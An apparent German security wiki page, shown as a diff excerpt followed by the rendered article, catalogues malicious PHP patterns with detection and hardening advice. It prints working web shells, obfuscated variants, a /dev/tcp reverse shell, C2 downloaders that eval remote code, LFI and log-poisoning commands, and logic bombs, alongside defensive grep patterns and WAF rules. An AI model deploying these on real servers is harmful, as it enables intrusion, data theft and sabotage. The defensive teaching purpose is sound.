| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // UNSICHER – Passwort wird als Klartext verarbeitet und ist damit für Stealer zugänglich | ||
| + | $password = $_POST['password']; | ||
| + | if ($password === $stored_password) { /* Login */ } | ||
| + | |||
| + | // SICHER – Passwort wird sofort als Hash verglichen, nie gespeichert oder geloggt | ||
| + | $password = $_POST['password']; | ||
| + | if (password_verify($password, $stored_hash)) { /* Login */ } | ||
| + | // password_hash() zum Speichern: $hash = password_hash($password, PASSWORD_BCRYPT); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== allow_url_fopen deaktivieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; /etc/php/8.2/apache2/php.ini | ||
| + | ; Verhindert file_get_contents() mit URLs → Variante 2 funktioniert nicht mehr | ||
| + | allow_url_fopen = Off | ||
| + | allow_url_include = Off | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Ausgehende Verbindungen per Firewall blockieren (nftables) ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Webserver-Prozess (www-data) darf keine ausgehenden HTTP/HTTPS-Verbindungen aufbauen | ||
| + | # Ausnahme: explizit erlaubte Ziele (z. B. eigene API) | ||
| + | |||
| + | nft add rule inet filter output \ | ||
| + | skuid www-data \ | ||
| + | tcp dport { 80, 443 } \ | ||
| + | ip daddr != 192.168.1.1 \ | ||
| + | drop | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Suche nach Credential-Stealern ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Schreibzugriffe auf $_POST-Inhalte in PHP-Dateien | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "file_put_contents.*_POST" \ | ||
| + | -e "file_put_contents.*_GET" \ | ||
| + | -e "fwrite.*_POST" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # Ausgehende HTTP-Requests in PHP-Dateien | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "file_get_contents\s*(['\"]http" \ | ||
| + | -e "curl_setopt.*CURLOPT_URL" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # Versteckte Dateien mit Credential-ähnlichem Inhalt | ||
| + | find /var/www/html -name ".*" -type f | xargs grep -l "password\|passwd\|PHPSESSID" 2>/dev/null | ||
| + | |||
| + | # Netzwerkverbindungen des Webservers überwachen | ||
| + | ss -tulpn | grep apache2 | ||
| + | lsof -i -n -P | grep php | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 5. Remote Malware Downloader == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Neuen Schadcode zur Laufzeit von einem externen Server nachladen und ausführen. | ||
| + | Der initiale Code ist minimal und unverdächtig – der eigentliche Payload kommt erst | ||
| + | später. Das ermöglicht es dem Angreifer, die Shell zu aktualisieren oder | ||
| + | verschiedene Payloads nachzuladen, ohne erneut die Webapplikation kompromittieren | ||
| + | zu müssen. | ||
| + | |||
| + | ==== Variante 1: file_get_contents + eval ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Lädt PHP-Code von einem externen Server und führt ihn direkt aus | ||
| + | // allow_url_fopen muss On sein (Standard in vielen Installationen) | ||
| + | |||
| + | $url = 'http://c2.angreifer.example.com/payload.php'; | ||
| + | $payload = file_get_contents($url); | ||
| + | eval($payload); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 2: curl + eval (funktioniert auch wenn allow_url_fopen = Off) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | $ch = curl_init('http://c2.angreifer.example.com/stage2.php'); | ||
| + | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | ||
| + | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // auch HTTPS-C2-Server möglich | ||
| + | $payload = curl_exec($ch); | ||
| + | curl_close($ch); | ||
| + | eval($payload); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 3: Payload auf Disk schreiben + include (persistenter) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Schreibt den nachgeladenen Code als PHP-Datei und bindet sie ein | ||
| + | // Vorteil für Angreifer: funktioniert auch nach C2-Server-Ausfall weiter | ||
| + | |||
| + | $payload_url = 'http://c2.angreifer.example.com/update.php'; | ||
| + | $local_cache = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/.update.php'; | ||
| + | |||
| + | $code = file_get_contents($payload_url); | ||
| + | file_put_contents($local_cache, $code); | ||
| + | include $local_cache; | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>file_get_contents()</code> mit einer URL als Parameter | ||
| + | * <code>curl_exec()</code> gefolgt von <code>eval()</code> | ||
| + | * <code>file_put_contents()</code> mit dynamischem Inhalt + anschließendem <code>include()</code> | ||
| + | * Requests zu unbekannten Domains im Netzwerk-Traffic | ||
| + | * DNS-Anfragen an unbekannte Hosts aus dem Webserver-Prozess | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== allow_url_fopen und allow_url_include deaktivieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; /etc/php/8.2/apache2/php.ini | ||
| + | allow_url_fopen = Off ; file_get_contents() kann keine URLs mehr öffnen | ||
| + | allow_url_include = Off ; include/require können keine URLs mehr einbinden | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== open_basedir – Dateizugriff einschränken ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; PHP darf nur innerhalb dieser Verzeichnisse auf Dateien zugreifen | ||
| + | ; Verhindert Variante 3 (Schreiben außerhalb des definierten Bereichs) | ||
| + | open_basedir = /var/www/html:/tmp | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Ausgehende Verbindungen per nftables blockieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # www-data darf keine ausgehenden TCP-Verbindungen aufbauen | ||
| + | nft add rule inet filter output \ | ||
| + | skuid www-data \ | ||
| + | tcp flags syn \ | ||
| + | drop | ||
| + | |||
| + | # Alternativ: nur explizit erlaubte Ziele freigeben | ||
| + | # nft add rule inet filter output skuid www-data ip daddr 192.168.1.100 accept | ||
| + | # nft add rule inet filter output skuid www-data drop | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== DNS-Monitoring ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # DNS-Anfragen des Webservers mitschneiden | ||
| + | tcpdump -i eth0 -n port 53 and host 127.0.0.1 | ||
| + | |||
| + | # Suricata-Regel: unbekannte externe DNS-Anfragen vom Webserver | ||
| + | # alert dns any any -> any 53 (msg:"PHP process DNS query to unknown host"; \ | ||
| + | # dns.query; content:!"intern.example.com"; sid:9001;) | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Downloader-Muster im Code aufspüren ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # file_get_contents mit URL | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "file_get_contents\s*(['\"]http" \ | ||
| + | -e "file_get_contents\s*(\$" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # curl gefolgt von eval (mehrzeilig – Kontext prüfen) | ||
| + | grep -rn --include="*.php" "curl_exec" /var/www/html/ | ||
| + | |||
| + | # file_put_contents gefolgt von include in selber Datei | ||
| + | grep -rn --include="*.php" "file_put_contents" /var/www/html/ | \ | ||
| + | while read file; do | ||
| + | grep -l "include\|require" "$(echo $file | cut -d: -f1)" 2>/dev/null | ||
| + | done | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 6. Privilege Escalation via PHP Misconfiguration == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Durch fehlerhafte PHP- oder Serverkonfiguration höhere Rechte erlangen oder | ||
| + | auf Dateien zugreifen, die außerhalb des Webroots liegen – z. B. Systemdateien, | ||
| + | Konfigurationen mit Datenbankpasswörtern oder SSH-Keys. | ||
| + | Klassische Angriffsvektoren sind Local File Inclusion (LFI) und | ||
| + | fehlende open_basedir-Einschränkungen. | ||
| + | |||
| + | ==== Angriff: Local File Inclusion (LFI) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // UNSICHER – Benutzereingabe direkt in include() | ||
| + | // Dateiname kommt ungefiltert aus dem GET-Parameter | ||
| + | |||
| + | $page = $_GET['page']; | ||
| + | include($page . '.php'); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Normaler Aufruf: | ||
| + | curl "http://opfer.example.com/index.php?page=home" | ||
| + | # → include('home.php') | ||
| + | |||
| + | # LFI – Angreifer liest /etc/passwd: | ||
| + | curl "http://opfer.example.com/index.php?page=../../../etc/passwd%00" | ||
| + | # %00 = Null-Byte (PHP < 5.3.4): terminiert den String → .php-Endung wird abgeschnitten | ||
| + | # → include('../../../etc/passwd') | ||
| + | |||
| + | # LFI ohne Null-Byte (PHP-Wrapper): | ||
| + | curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" | ||
| + | # Gibt /etc/passwd base64-kodiert zurück | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Ergebnis base64-dekodieren: | ||
| + | curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" \ | ||
| + | | base64 -d | ||
| + | # root:x:0:0:root:/root:/bin/bash | ||
| + | # www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Angriff: LFI → RCE über Log Poisoning ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Schritt 1: PHP-Code in Apache-Log einschleusen (User-Agent-Feld) | ||
| + | curl -A "<?php system(\$_GET['cmd']); ?>" http://opfer.example.com/ | ||
| + | |||
| + | # Schritt 2: Log über LFI einbinden → PHP-Code wird ausgeführt | ||
| + | curl "http://opfer.example.com/index.php?page=../../../var/log/apache2/access.log&cmd=id" | ||
| + | # uid=33(www-data) ... | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Angriff: require mit $_REQUEST (LFI über POST) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // UNSICHER – noch gefährlicher als include, weil require bei Fehler abbricht | ||
| + | // und der Angreifer daraus Informationen über das Dateisystem ableiten kann | ||
| + | |||
| + | require($_REQUEST['file']); | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>include($_GET['page'])</code>, <code>require($_REQUEST['file'])</code> ohne Whitelist | ||
| + | * <code>../</code> oder <code>%2e%2e%2f</code> in URL-Parametern | ||
| + | * PHP-Wrapper wie <code>php://filter</code>, <code>php://input</code>, <code>data://</code> in Parametern | ||
| + | * Fehlende <code>open_basedir</code>-Konfiguration | ||
| + | * Requests mit Null-Byte (<code>%00</code>) in Parametern | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Sicherer Code – Whitelist statt freie Eingabe ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // SICHER – nur erlaubte Seiten können eingebunden werden | ||
| + | // Benutzereingabe wird NIEMALS direkt in einen Dateipfad übernommen | ||
| + | |||
| + | $allowed_pages = ['home', 'about', 'contact', 'services']; | ||
| + | $page = $_GET['page'] ?? 'home'; | ||
| + | |||
| + | if (!in_array($page, $allowed_pages, true)) { | ||
| + | http_response_code(404); | ||
| + | die("Seite nicht gefunden."); | ||
| + | } | ||
| + | |||
| + | // Fester Basispfad + validierter Name aus Whitelist | ||
| + | include __DIR__ . '/pages/' . $page . '.php'; | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== open_basedir in php.ini ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; PHP darf nur auf Dateien innerhalb dieser Pfade zugreifen | ||
| + | ; Auch php://filter-Angriffe auf /etc/passwd werden damit blockiert | ||
| + | open_basedir = /var/www/html:/tmp | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== PHP-Wrapper in der WAF blockieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | # Coraza / ModSecurity: PHP-Wrapper in Request-Parametern blockieren | ||
| + | SecRule ARGS "@rx (php://|data://|file://|expect://|zip://)" \ | ||
| + | "id:1003,phase:2,deny,status:403,log,msg:'PHP Wrapper in Request Parameter'" | ||
| + | |||
| + | # Directory Traversal blockieren | ||
| + | SecRule ARGS "@rx \.\.[/\\]" \ | ||
| + | "id:1004,phase:2,deny,status:403,log,msg:'Directory Traversal Attempt'" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== LFI-Versuche in Logs erkennen ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # Directory-Traversal-Versuche im Access-Log | ||
| + | grep -E "(\.\./|%2e%2e%2f|%252e)" /var/log/apache2/access.log | ||
| + | |||
| + | # PHP-Wrapper-Angriffe | ||
| + | grep -E "(php://|data://|file://|expect://)" /var/log/apache2/access.log | ||
| + | |||
| + | # Log-Poisoning-Versuch: PHP-Code im User-Agent | ||
| + | grep -E "<\?php" /var/log/apache2/access.log | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == 7. Time-Delayed / Logic Bomb Malware == | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Versteckt bleiben bis eine bestimmte Bedingung erfüllt ist – ein Datum, eine | ||
| + | Uhrzeit, ein bestimmter Benutzername oder eine IP-Adresse. Der Code „tut nichts" | ||
| + | solange die Bedingung nicht zutrifft und ist deshalb bei einfachen Scans | ||
| + | schwer zu entdecken. Logic Bombs werden oft als Sabotage eingesetzt (Löschen von | ||
| + | Daten an einem bestimmten Datum) oder als verzögerter Backdoor-Aktivator. | ||
| + | |||
| + | ==== Variante 1: Datum-basierte Aktivierung ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Payload wird nur an einem bestimmten Datum ausgeführt | ||
| + | // An allen anderen Tagen: kein verdächtiges Verhalten | ||
| + | |||
| + | $target_date = '2024-12-24'; // Weihnachten – viele Admins im Urlaub | ||
| + | |||
| + | if (date('Y-m-d') === $target_date) { | ||
| + | // Alle PHP-Dateien im Webroot überschreiben | ||
| + | foreach (glob('/var/www/html/**/*.php') as $file) { | ||
| + | file_put_contents($file, '<?php echo "Hacked"; ?>'); | ||
| + | } | ||
| + | } | ||
| + | // Normaler Code folgt – Datei sieht ansonsten harmlos aus | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 2: Uhrzeit-basierte Aktivierung (Nacht) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Aktiviert sich nur zwischen 02:00 und 03:00 Uhr | ||
| + | // Monitoring und Admins schlafen meist zu dieser Zeit | ||
| + | |||
| + | $hour = (int) date('G'); | ||
| + | |||
| + | if ($hour >= 2 && $hour < 3) { | ||
| + | system($_GET['cmd'] ?? 'id'); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 3: Bestimmter Benutzer als Trigger ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Payload nur bei Login des Benutzers "admin" aktiviert | ||
| + | // Verknüpfung mit Credential-Stealer möglich | ||
| + | |||
| + | session_start(); | ||
| + | if (isset($_SESSION['user']) && $_SESSION['user'] === 'admin') { | ||
| + | // Datenbankdump erstellen und in öffentlichem Verzeichnis ablegen | ||
| + | system('mysqldump -u root -pROOTPASSWD wordpress > /var/www/html/uploads/.dump.sql'); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Variante 4: IP-basierte Aktivierung (nur für Angreifer sichtbar) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | // Web Shell ist nur für eine bestimmte IP aktiv | ||
| + | // Für alle anderen Besucher sieht die Seite völlig normal aus | ||
| + | |||
| + | $attacker_ip = '198.51.100.42'; // Angreifer-IP | ||
| + | |||
| + | if ($_SERVER['REMOTE_ADDR'] === $attacker_ip && isset($_GET['cmd'])) { | ||
| + | system($_GET['cmd']); | ||
| + | } else { | ||
| + | // Normale Seite ausgeben | ||
| + | include 'index_normal.php'; | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>date()</code>, <code>time()</code>, <code>strtotime()</code> in Kombination mit Bedingungen die selten wahr sind | ||
| + | * Hartcodierte Datumswerte (<code>'2024-12-24'</code>) | ||
| + | * IP-Adress-Vergleiche mit <code>$_SERVER['REMOTE_ADDR']</code> die bestimmte IPs aktivieren | ||
| + | * Code-Blöcke die scheinbar „nichts tun" – aber unter einer Bedingung stehen | ||
| + | * Session- oder Benutzerprüfungen in Dateien die keine Zugangskontrolle benötigen | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Statische Analyse: Verdächtige Datumsprüfungen finden ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # date() in Kombination mit Vergleichsoperatoren | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "date\s*(.*==\s*['\"]" \ | ||
| + | -e "strtotime\s*(" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # Hartcodierte IP-Adressen in PHP-Dateien | ||
| + | grep -rn --include="*.php" \ | ||
| + | -P "REMOTE_ADDR.*['\"][0-9]{1,3}\.[0-9]{1,3}" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # Session-Benutzerprüfungen in unerwarteten Dateien | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "_SESSION\['user'\]" \ | ||
| + | -e "_SESSION\['username'\]" \ | ||
| + | /var/www/html/uploads/ /var/www/html/cache/ /var/www/html/images/ | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Integrity Monitoring mit AIDE ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | apt install aide | ||
| + | |||
| + | # Konfiguration: alle PHP-Dateien überwachen | ||
| + | echo "/var/www/html CONTENT_EX" >> /etc/aide/aide.conf | ||
| + | |||
| + | # Datenbank initialisieren (nach sauberem Deployment!) | ||
| + | aide --init | ||
| + | mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db | ||
| + | |||
| + | # Tägliche Prüfung | ||
| + | echo "0 4 * * * root aide --check | mail -s 'AIDE Report' admin@example.com" \ | ||
| + | >> /etc/cron.d/aide | ||
| + | |||
| + | # Manueller Check: | ||
| + | aide --check | ||
| + | # AIDE found differences between database and filesystem! | ||
| + | # changed: /var/www/html/wp-includes/class-phpmailer.php | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Git für Deployment nutzen – unerwartete Änderungen sofort erkennen ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | cd /var/www/html | ||
| + | |||
| + | # Status prüfen: welche Dateien wurden seit letztem Deployment geändert? | ||
| + | git status | ||
| + | # modified: wp-includes/class-phpmailer.php ← verdächtig! | ||
| + | |||
| + | # Diff anzeigen: | ||
| + | git diff wp-includes/class-phpmailer.php | ||
| + | |||
| + | # Alle seit einer Woche geänderten Dateien die nicht im Git sind: | ||
| + | find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7 | \ | ||
| + | while read f; do git ls-files --error-unmatch "$f" 2>/dev/null || echo "UNTRACKED: $f"; done | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ---- | ||
| + | |||
| + | == Übersichtstabelle == | ||
| + | |||
| + | {| class="wikitable sortable" | ||
| + | ! Muster !! Ziel des Angreifers !! Wichtigste Red Flags !! Wichtigste Gegenmaßnahme | ||
| + | |- | ||
| + | | Web Shell Backdoor || Remote Command Execution || <code>system()</code>, <code>shell_exec()</code> + <code>$_GET</code>/<code>$_POST</code> || PHP in Uploads deaktivieren, <code>disable_functions</code> | ||
| + | |- | ||
| + | | Obfuscated Malware || Erkennung umgehen || <code>eval(base64_decode(...))</code>, <code>assert()</code>, lange Strings || ClamAV/Maldet, statische Analyse | ||
| + | |- | ||
| + | | File Upload Backdoor || PHP-Datei ins Webroot schleusen || Kein MIME-Check, Original-Dateiname, PHP in <code>/uploads/</code> || Upload außerhalb Webroot, serverseitiger MIME-Check | ||
| + | |- | ||
| + | | Credential Stealer || Passwörter/Cookies stehlen || <code>file_put_contents</code> mit <code>$_POST</code>, ausgehende HTTP-Requests || <code>allow_url_fopen=Off</code>, Firewall ausgehend | ||
| + | |- | ||
| + | | Remote Downloader || Payload nachladen + ausführen || <code>file_get_contents(URL)</code> + <code>eval()</code>, <code>curl_exec()</code> + <code>eval()</code> || <code>allow_url_fopen=Off</code>, ausgehende Firewall | ||
| + | |- | ||
| + | | Privilege Escalation (LFI) || Dateisystem auslesen, RCE || <code>include($_GET[...])</code>, <code>../</code> in Parametern, PHP-Wrapper || Whitelist, <code>open_basedir</code>, WAF | ||
| + | |- | ||
| + | | Logic Bomb / Time Delay || Versteckt bleiben bis Trigger || Datumsprüfungen, IP-Checks, „toter" Code unter Bedingung || AIDE Integrity Monitoring, Git-Deployment | ||
| + | |} | ||
| + | |||
| + | [[Kategorie:Web Security]] | ||
| + | [[Kategorie:PHP]] | ||
| + | [[Kategorie:Malware]] | ||
| + | [[Kategorie:Secure Coding]] | ||
Aktuelle Version vom 31. Mai 2026, 17:48 Uhr
Malicious PHP
Dieser Artikel behandelt die sieben häufigsten Muster von bösartigem PHP-Code. Für jedes Muster gibt es drei Blickwinkel:
- Was der Angreifer will – Ziel und typischer Angriffscode
- Red Flags – Erkennungsmerkmale im Code und in Logs
- Gegenmaßnahmen – sichere Programmierung, Serverkonfiguration, Scanning
1. Web Shell Backdoors
Was der Angreifer will
Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt. Der Angreifer braucht dazu keinen SSH- oder FTP-Zugang – ein normaler HTTP-Request reicht. Web Shells sind der häufigste Persistenzmechanismus nach einer initialen Kompromittierung, z. B. über eine unsichere Datei-Upload-Funktion oder ein veraltetes CMS-Plugin.
Minimale Web Shell (GET-Parameter)
<?php
// Dateiname: header.php, img001.php, thumb.php – bewusst unauffällig
// Ablageort: /uploads/, /images/, /cache/
// Aufruf: http://opfer.example.com/uploads/header.php?cmd=id
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
# Angreifer ruft die Shell auf:
curl "http://opfer.example.com/uploads/header.php?cmd=id"
# Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"
# Ausgabe: root:x:0:0:root:/root:/bin/bash ...
# Reverse Shell starten (Angreifer lauscht auf Port 4444):
curl "http://opfer.example.com/uploads/header.php?cmd=bash+-i+>%26+/dev/tcp/192.168.1.99/4444+0>%261"
Erweiterte Shell über POST (schwerer im Access-Log erkennbar)
GET-Parameter landen vollständig im Access-Log. POST-Body wird dort nicht geloggt, was die Shell schwerer auffindbar macht.
<?php
// POST-Body landet nicht im Apache Access-Log → schwerer zu erkennen
if (isset($_POST['x'])) {
$output = shell_exec($_POST['x'] . ' 2>&1');
echo '<pre>' . htmlspecialchars($output) . '</pre>';
}
?>
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
-d 'x=whoami'
# www-data
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
-d 'x=ls -la /var/www/html'
Typische Tarnnamen und Ablageorte
/uploads/img001.php
/uploads/2024/photo.php
/images/header.php
/cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a
/wp-includes/class-wp-image.php
/wp-content/plugins/contact-form/assets/js/jquery.min.php
Red Flags
system(),exec(),shell_exec(),passthru(),popen()- Direkter Zugriff auf
$_GET,$_POST,$_REQUESTohne jede Validierung - Keine Authentifizierung vor der Ausführung
- PHP-Dateien in
/uploads/,/images/,/cache/ - Dateinamen die legitime Dateien imitieren (
image.php,header.php)
Gegenmaßnahmen
Unsicherer Upload-Code (so entsteht das Problem)
<?php
// UNSICHER – keinerlei Validierung, PHP-Datei landet direkt im Webroot
if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {
move_uploaded_file(
$_FILES['upload']['tmp_name'],
'/var/www/html/uploads/' . $_FILES['upload']['name']
);
echo "Upload erfolgreich.";
}
?>
Sicherer Upload-Code
<?php
// SICHER – Whitelist, Umbenennung, Upload außerhalb Webroot
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
$upload_dir = '/var/data/uploads/'; // außerhalb /var/www/html !
if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
die("Upload-Fehler.");
}
// MIME-Typ prüfen (nicht nur Dateiendung!)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['upload']['tmp_name']);
if (!in_array($mime, $allowed_mime, true)) {
die("Unerlaubter Dateityp: " . htmlspecialchars($mime));
}
// Dateiname komplett neu generieren – Original-Name wird verworfen
$ext = 'jpg'; // Endung aus Whitelist, nicht aus Original-Name
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $new_name);
echo "Upload gespeichert als: " . htmlspecialchars($new_name);
?>
PHP-Ausführung in Upload-Verzeichnissen serverseitig unterbinden
# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Alternativ: PHP-Engine komplett aus
php_flag engine off
</Directory>
a2enconf no-php-uploads
systemctl reload apache2
Gefährliche Funktionen in php.ini deaktivieren
; /etc/php/8.2/apache2/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
systemctl restart apache2
# Prüfen ob die Sperre greift:
php -r "system('id');"
# PHP Warning: system() has been disabled for security reasons
WAF-Regel (Coraza / ModSecurity)
# Requests mit Shell-typischen Parameternamen blockieren
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell|pass|c)$" \
"id:1001,phase:2,deny,status:403,log,msg:'Web Shell Parameter detected'"
Web Shells im Filesystem aufspüren
# PHP-Dateien mit Shell-Funktionen durchsuchen
grep -rn --include="*.php" \
-e "system\s*(" \
-e "shell_exec\s*(" \
-e "passthru\s*(" \
-e "exec\s*(" \
/var/www/html/
# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein
find /var/www/html/uploads -name "*.php" -type f
# Versteckte PHP-Dateien (Punkt am Anfang)
find /var/www/html -name ".*.php" -type f
# Kürzlich geänderte PHP-Dateien (letzte 7 Tage)
find /var/www/html -name "*.php" -mtime -7 -ls
# Access-Log: Requests auf PHP-Dateien in Upload-Verzeichnissen
grep -E "/(uploads|images|cache)/.*\.php" /var/log/apache2/access.log
# Access-Log: Shell-typische GET-Parameter
grep -E "(cmd|exec|command|shell)=" /var/log/apache2/access.log
2. Obfuscated Malware
Was der Angreifer will
Den eigentlichen Schadcode so verschleiern, dass weder automatische Scanner noch menschliche Code-Reviews ihn auf den ersten Blick erkennen. Obfuskierung ist kein eigenständiger Angriff – sie ist fast immer die Tarnung für einen anderen Angriffstyp: Web Shell, Credential Stealer oder Remote Downloader. Je mehr Encoding-Ebenen, desto länger bleibt die Shell unentdeckt.
Stufe 1: Einfaches Base64 + eval
<?php
// Klartext des Payloads: system($_GET['cmd']);
// Kodiert mit: echo -n "system(\$_GET['cmd']);" | base64
$payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');
eval($payload);
?>
# Analyse – Payload dekodieren ohne ihn auszuführen:
echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d
# system($_GET['cmd']);
Stufe 2: Mehrfach-Encoding (Base64 + gzip)
<?php
// Payload: system($_GET['cmd']);
// Erst gzip-komprimiert, dann base64-kodiert
// Erstellt mit: echo -n "system(\$_GET['cmd']);" | gzip | base64
$encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=';
$payload = gzinflate(base64_decode($encoded));
eval($payload);
?>
# Dekodieren:
echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | base64 -d | gunzip
# system($_GET['cmd']);
Stufe 3: str_rot13 (Zeichenrotation)
<?php
// rot13("system") = "flfgrz"
// Kein Base64 → umgeht simple base64-Signaturen in Scannern
$func = str_rot13('flfgrz'); // ergibt: system
$arg = str_rot13($_GET['pzq']); // rot13("cmd") = "pzq"
$func($arg);
?>
# Aufruf:
curl "http://opfer.example.com/cache/img.php?pzq=id"
# uid=33(www-data) ...
# Analyse:
php -r "echo str_rot13('flfgrz');"
# system
Stufe 4: Variable Funktionsnamen (kein klarer Funktionsname im Code)
<?php
// Kein einziger bekannter Funktionsname im Code sichtbar
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // "system"
$b = $_GET['x'];
$a($b);
?>
# ASCII-Werte nachvollziehen:
php -r "echo chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);"
# system
Stufe 5: Praxisbeispiel – Leafmailer-Webshell (reales Muster aus WordPress-Kompromittierungen)
